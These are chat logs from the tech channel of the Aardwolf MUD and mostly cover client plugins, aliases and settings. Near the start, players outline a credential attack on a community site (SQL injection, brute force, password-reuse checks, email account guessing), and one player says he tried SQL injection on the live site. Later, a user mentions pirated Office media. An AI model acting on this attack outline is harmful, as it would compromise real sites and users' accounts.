T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: ^
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: why not?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: bad practice
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: not really
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: I can give you the user name of every imm on Aardwolf.  Isn't going to do you any good.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Trachx Tech: there is no point to reveal such information to unlogged users
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: cause now i can put that in a list and brute
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: and?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: assume i dont know that i can get every user in game
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: what's the account for anyway?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: you're imagining a security situation on a site which holds public information...
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: And so what if you can log in?  None of us are really going to care.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: thats what i do for a living
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: you do what for a living?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: so, you can destroy a DB.  Not like we have our personal info in there
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: you imagine issues that don't actually exist for a living...gotcha
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: lol
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: so what if i shell teh site and drop something malicious on it??
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: iwuvaard's database will gladly show you usernames and passwords
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: Being able to log in to the site doesn't mean you can edit the source of the site
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: pw reuse
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: my only concern is how the passwords are kept. if they're plaintext somewhere, you could get the user list and passwords and i bet plenty of people use the same login for aard
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: all sorts of stuff lol
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: if i can sqli the site i can prob get the user db with pw
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: anyone using the same pword for aard is an idiot and not worth bothering about...the site isn't responsible for that
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: sort that check for reuse go from there
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: and then username+variants and password+variants for emails accounts
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: And why don't you just to and try to sqli the site, instead of just saying "what if"?  Would only take you 2 seconds.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: and yes people do it a lot
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: Assuming you haven't already tried and failed
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: because im not a criminal
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: And are just going on and on for the heck of it
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: fine, I'll try it
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: becasue i can???
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: lol i can talk about this shit all day
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: stuff*
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: the password for iwuvaard's database is even public and displayed on the site
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: there's no such thing as online security
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: Hey look, sqli didn't work.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: oh well
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: you can not be secure, you can only mitigate the damage
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: tell that to the average bank customer with online acctount access
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: Aliens starts to giggle to himself like a little girl.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: so people are dumb, what's new?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: people imagine they aren't.. oh wait that not new either
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: heh, I'd be much more worried about NFC credit cards than my online bank access
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: as if waving the card over a POS is somehow quicker than sliding it in the slot
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: anyways, net sec ftw
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not worried about my online banking one bit. we're using smart-card auth here
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: this is why i campaign against the clampdowns on cash
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: I put it all in the mattress...but then it gets all soggy because I have a waterbed
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: water beds are to be banned under water use controls
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: it's for the earth
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Sonshi Tech: don't some banks use otp?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: it's OK, I fill it with pondwater, so it's recycled
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: you don't own the pondwater
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: and OTCC numbers
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: banks from the last decade
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: nono, I own the pondwater, it's just the rainwater I don't
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: ahh, well that's ok then
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Ontuct Tech: you could fill it with urine, but heaven forbid you ever had a waterbed leak.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: I'll sell the rainwater to you.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Zetkax Tech: maybe you could fill it with urine if you had a pet elephant .. i doubt you could fill it yourself
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Sonshi Tech: Problem: Not enough water. Malthusian types: We have too many people. Get rid of some people or limit water use. Tech types: Get more water.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: water with your hydrogen car ?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i'm for getting more water AND getting rid of some people
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: there's plenty of water
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: make water with your hydrogen car ?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: burn more fuels. burning stuff always produces water. *nodself
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: true story
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: Aliens noggles about the room indecisively.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: Dagnir's sounding like the IMF
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: the mission impossible people?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: tom cruise does PR for international monetary funds
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: tom cruise is a freak
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's true, nuts. oxidization produces water 
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: i believe thats techniclly true...
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: more cars!
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: yup, that's why car tailpipes drip water
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aliens Tech: more hindenburgs !
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: so, problem solved. next problem
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: we need global laws and taxation to get rid of this scourge of society, water
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: a few new companies are working on new dirigibles
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Ontuct Tech: I bet if you got the water most of us waste taking showers you'd have plenty
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tigernuts Tech: there is already plenty, ontuct, that was kinda the whole point
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you should pee while taking showers to save on toilet flushing
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: you can't waste water taking showers, as it doesn't change the amount of water that exists
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it changes the amount of fresh water tho
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: you can waste energy for water processing, not water
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: my showers don't produce saltwater
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: lol
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Aqiz Tech: dont like a good brine soak?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: anyway, there are two types of people - the ones who pee in the shower and dirty f**king liars
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: protip: anything short of the entire word is not a sufficient mask for making curse words acceptable on non-curse channels
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i meant to say freaking, but censored some of it because people might be offended
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir looks around and whistles innocently.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: wrong number of letters
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: anyway, just a heads up
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm no immortal
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: THERE CAN BE ONLY ONE!!!!
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish looks at you, says "And I am immortal," and then stabs you in the chest with a dagger.  FREAK!
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vesuviou Tech: why is it when I type A (for all) when doing a note list, it will list till halfway and then I get disconnected from the mud?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Laughing Airmeith Tech: too much data for your connection to process at once
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vesuviou Tech: so what shall I do?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: pagesize 400
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Bast Tech: he's hitting all, he's bypassing the pagesize
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ah, hmm
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: don't hit a
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vesuviou Tech: what?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Bast Tech: don't hit all
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: you're undoing the fact that you're using paging
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Laughing Airmeith Tech: no, set your pagesize to something like 50...and don't hit a
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vesuviou Tech: nods
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: he's using mccp, so 400 should be reasonable to prevent disconnects if he doesn't use "a"
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: Vesuviou nods
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: use client's scroll within each set of 400
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I see that 500 is the upper limit. might as well use that
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I wonder why pagesize has an upper limit
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: provided your connection speed is happy with it
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vesuviou Tech: btw, I wanted to view all the GQ within the region  of lev 9 to 16, can I do that? Or must I view the rest of the level and filter manually?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Bast Tech: gq ranges 9
T3/r7/2013-02-10.txt.gz:{chan ch=tech}BobTheGreat Tech: gq ranges 11
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: the latter, which we explained the other day
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vesuviou Tech: ooOh.. nice
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: that's not the past ones, which he had been looking for
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vesuviou Tech: I want to view the past one, not the current GQ of a certain level
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: right,so you can do gq history, and filter on your end
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Bast Tech: you didn't specify past, yes, you have to filter manually for past gq cycles
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vesuviou Tech: ok thanks, although its very inconvenience to view the other level as well
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: then pay more attention and record :-)
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: Vesuviou nods
T3/r7/2013-02-10.txt.gz:{chan ch=tech}BobTheGreat Tech: If I want to get GMCP data, which plugin do I call again?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: you should be getting it from broadcast
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: http://www.aardwolf.com/wiki/index.php/Clients/MushclientGMCP
T3/r7/2013-02-10.txt.gz:{chan ch=tech}BobTheGreat Tech: Thanks, got it :)
T3/r7/2013-02-10.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: is there some income calculator plugin for mush?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}El Gringo Asterax Tech: I'm trying to install mushclient on a mac emulator (crossover pro). Any idea why the emulator won't recognize mushclient.exe (from newest version on fiendish's site) as an installer file?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Leinei Tech: installer file?  It's just an executable
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Akirian Tech: testing
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: failing
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Akirian Tech: great, just logged on after a long time on mushclient, and im only getting my main window, any clues on how to get all the addons up and running?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: type tags, are they on?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Akirian Tech: the ones i want are yep
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: the bottom master one?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Akirian Tech: yep its on
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Akirian Tech: thanks for help, i got old stats, map and help addons working again. Any new ones i should consider adding in?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: eh?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Mokg Tech: you should consider getting a rainbow script
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish nods at Mokg.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Akirian Tech: hmmm, that does nice
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Xaeris Tech: that script is awfully painful.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I love it
T3/r7/2013-02-10.txt.gz:{chan ch=tech}BobTheGreat Tech: Do the MUD a favor and don't.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Vesrai Tech: i like it.. it bring life and color to the mud
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Siren Cera Tech: i think it's pretty
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish nods at Vesrai.
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Mokg Tech: everyone loves it besides those people who always need something to complain about
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Akirian Tech: is there an addon for spells, i keep seeing affect off lines
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: Vesrai is agreeing with that Mokg person again...
T3/r7/2013-02-10.txt.gz:{chan ch=tech}BobTheGreat Tech: tag spells off
T3/r7/2013-02-10.txt.gz:{chan ch=tech}BobTheGreat Tech: err... type 'tags', it's there
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Tech: for the add-on for spells which will utilize those rather than just turning them off, finger bast
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Akirian Tech: thankyou
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: crossover pro, eh
T3/r7/2013-02-10.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: does that work well?
T3/r7/2013-02-10.txt.gz:{chan ch=tech}Akirian Tech: gotta get my head back in the game before i start rewritting all my lovely addons :P
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Aliens Tech: any users of standalone LUA here ?
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Ixle Tech: Probably just ones who will tell you it's Lua.
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Ixle Tech: But I'm not one of those :)
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Aliens Tech: im looking at an article on lua.org from Dr. Dobb's Journal, that implies that tk bindings are standard part of the lua package, im having trouble finding it
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Aliens Tech: http://www.lua.org/ddj.html
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Tech: I don't read that as saying it's part of the standard package, merely that they created a binding toolkit for it...also note that that page is 16 years old!
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Aliens Tech: yeah i saw it's age...
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Tech: I'd try something like http://www.tset.de/ltcltk/ or http://www.tecgraf.puc-rio.br/~celes/tklua/
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Aliens Tech: heh, im actually reading the readme to ltcltk as we speak
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Aliens Tech: starting to think wxPython might just be easier tho
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Riddim Tech: is there anyway to unmark a room in mapper noportal?
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Riddim Tech: like, this room shouldn't be marked noportal, how do I fix that?
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Bast Tech: "mapper purgeroom" when standing in the room and then move out and back in
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Tech: Riddim nods.
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Riddim Tech: was hoping to avoid that becuase it was a clan room without a proper room ID, but I guess i'll live :p
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Tech: Riddim gallantly tips his hat to Bast.
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: anyone else having issues with outlook 2013?
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: probably. google "outlook 2013 issues"
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: my bad thanks for the reminder to use my brain :P
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Drunk'ing Abel Tech: anyone got a second for an SSH X session question?
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Doink Tech: is there a way to capture/trigger from a mapper room # upon entrance of a room?
T3/r7/2013-02-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what?
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Doink Tech: On MUSH. I want to set up a simple trigger when I enter a room. But the room shares names with a few others, and I dont want to use the room descritpion.
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Doink Tech: Anyway to trigger from entering the room, by using its room #?
T3/r7/2013-02-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: obviously yes, but you'll need to do it in a plugin
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Doink Tech: Ahh I see, thanks. How simple would the plugin be?
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Doink Tech: The action I want to perform, is wield xxxxx, and dual xxxxx.
T3/r7/2013-02-11.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://www.aardwolf.com/wiki/index.php/Clients/MushclientGMCP
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Doink Tech: Coool, thanks. Prolly about time I look into it more.
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Doink Tech: I have been using the descriptions, working fine, but Im thinking of changing to a no brief mode.
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Doink Tech: Ver 4.77, came with the handler installed already it seems?
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Bromance Tech: I need some help with some pretty easy-as-pie aliases re: MUSH mapper. I used to have these three aliases that were just "ma xxx", "mf xxx" and "go xxx", where ma = mapper area, mf = mapper find and go was mapper goto. Can someone help me make those again?
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Bromance Tech: I know the 'title' part was like ma * and the body was like mapper area %1, but I dunno where to send to, all that jazz.
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Mokg Tech: #alias {ma *} {mapper area %1}
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Mokg Tech: follow suit
T3/r7/2013-02-11.txt.gz:{chan ch=tech}The River Styx Tech: no need for the *
T3/r7/2013-02-11.txt.gz:{chan ch=tech}The River Styx Tech: oh wait, MUSH
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Bromance Tech: Thanks! I'll be sure to fido a TP token your way, Mokg :)
T3/r7/2013-02-11.txt.gz:{chan ch=tech}Mokg Tech: dont worry about it
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Cornor Cerashor Tech: how am i able to type the hole alias out without having my single colan going to the next line?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's not english
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Cornor Cerashor Tech: uhh im trying lol
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but I'm guessing you want to know how to do this ; right? type two of them like ;;
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Cornor Cerashor Tech: yes
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Nuanse Tech: or use ; at the start of line
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Tech: Cornor Cerashor :
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Cornor Cerashor Tech: ;
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Cornor Cerashor Tech: aah
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Cornor Cerashor Tech: and that should help with the mapper cexits?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Cornor Cerashor Tech: great thanks alot :)
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: anyone know why this mush hp prmpt guage and the info bar always shows up even after i relocate/uncheck  the info bar and save world details it  dont stay in same place ?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: define "uncheck"
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: view-> info bar
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: something could be activating it, I suppose. that stays disabled for me.
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: its always reverting to as on, and  the promt guage in middle of screen
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: maybe you aren't saving properly? Not sure. Are you switching computers or monitors?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: no
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: but i do switch between 2 differnt profiles
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: define profiles
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: 2 diff mus folders  1 for each dif char
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: did you save for both of them?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Redryn Tech: my mush prompt bar pops up in the middle of the screen if i switch computers with different resolutions
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: ye the other one has no probs at all
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: well cant be resolutions... using same monitor
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: well if you can pin down the nature of the problem to a concise bug report I'll try to fix it
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: for me the prompt bar resizes itself to way past the screen and I can not get it back, this happens occasionaly when I switch monitors
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Tech: check the state file for the health bars plugin, make sure that its mod time is when you saved
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: I do I have to change it everytime
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: It would be nice if it check the screen res everytime it ran to update the state
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what are you all doing changing monitors all the time?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: the size  stays the same as i have adjusted it just not in same location as i put it
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: desktop - laptop.  I run it on a flash drive
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Tech: and pretty sure redryn is a dropboxer
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmm
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: it also happens every now and then when I put it on my other monitor for my desktop, it is lower res
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Redryn Tech: desktop-laptop is common i'm sure
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: well I could explain the reason why it does what it does, but the reason isn't important
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'll look into it
T3/r7/2013-02-12.txt.gz:{chan ch=tech}GreenAcid Tech: thanks
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: it worked before, i'll try offing  plugins one by one see if i can pinpoint
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: heh that was odd.  tried one offing plugins save, restart mush down to the core plugins that comes with and nothing helped so i figure something is stuck in memory or something so i rebooted,  mush came up  wouldnt connect spewed out :alldir
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: miss
T3/r7/2013-02-12.txt.gz:{chan ch=tech}BlueBeetle Tech: anyay that bug report got lost cuz comp crashed its nolonger in temp folders
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Lilleana Tech: I remove bast spell up and then i cancelled myself, and it automatically spelled me back up after canceling the spells. Any ideas? 
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: my idea is that one of your statements is false
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Krache Tech: Isnt there a way to "forget" spells?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Krache Tech: If memory serves, I had to do just that with Invisible
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Lilleana Tech: one of my statements is false? 
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Lilleana Tech: I just checked my pluggins list, bast spellup pluggins are removed. I canceled myself. And then it canceled the spells and then automatically spelled me back up. Nothing false about my statements. 
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: show me a list of what plugins you have installed
T3/r7/2013-02-12.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: but hurry please. I'm going to bed
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Lilleana Tech: i'll just delete all of my bast pluggins and reinstal the ones I want. Thanks though. I'll let you know if it's still a problem after I do that.
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Lilleana Tech: go to bed, i'll catch you tomorrow if I'm still having issues. thanks 
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Anyone else lagging horribly on Aardwolf?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Book of Etzli Tech: Of course, now I say that, I'm not lagging so much.
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: question, when it comes to adobe flash player is there some place to globaly tweak the settings for every player?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: because for whatever reason the local storage setting keeps getting reset from unlim to like 40
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Bluntman & Chronic Tech: anyone?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Taokan Tech: the ask toolbar - so bad, they have to try and piggy back on a java install and sneak it onto your computer.
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Mushambo Tech: hmmm, I used "magical jelly bean keyfinder" to find out my CD Keys for Windows XP and Office 2003 before I reformatted...now it says the Office key isn't valid...maybe because I lost the install disc and am using an image file from tpb?
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Book of Etzli Tech: It wouldn't matter.
T3/r7/2013-02-12.txt.gz:{chan ch=tech}Book of Etzli Tech: But the keys are specific to that version of Windows.
